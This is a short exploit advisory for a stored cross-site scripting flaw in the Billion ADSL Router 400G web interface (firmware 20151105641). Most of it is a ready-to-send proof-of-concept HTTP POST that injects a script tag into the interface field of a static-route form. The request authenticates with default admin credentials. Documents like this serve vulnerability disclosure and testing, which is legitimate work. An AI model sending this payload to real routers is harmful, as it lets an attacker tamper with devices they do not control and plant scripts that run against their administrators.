# Exploit Title: Billion ADSL Router 400G 20151105641 - Cross-Site Scripting # Author: Cakes # Discovery Date: 2018-09-30 # Vendor Homepage: http://www.billion.com # Software Link: http://billionfirmware.co.za # Tested Version: 20151105641 # Tested on OS: Kali Linux # CVE: N/A # Description: # Improper input validation on the router web interface allows attackers add a persistent # Cross-Site scripting attack on the IP Interface field when adding a new static route. # Simply intercept a new static route request and add in the XSS # Poc POST /configuration/edit-list.html HTTP/1.1 Host: Target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://Target/configuration/edit-list.html Authorization: Basic YWRtaW46YWRtaW4= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 93 nodename=&destination=0.0.0.0&netmask=0.0.0.0&gateway=0.0.0.1&interface=<script>alert("Cakes");</script>&cost=1&action=create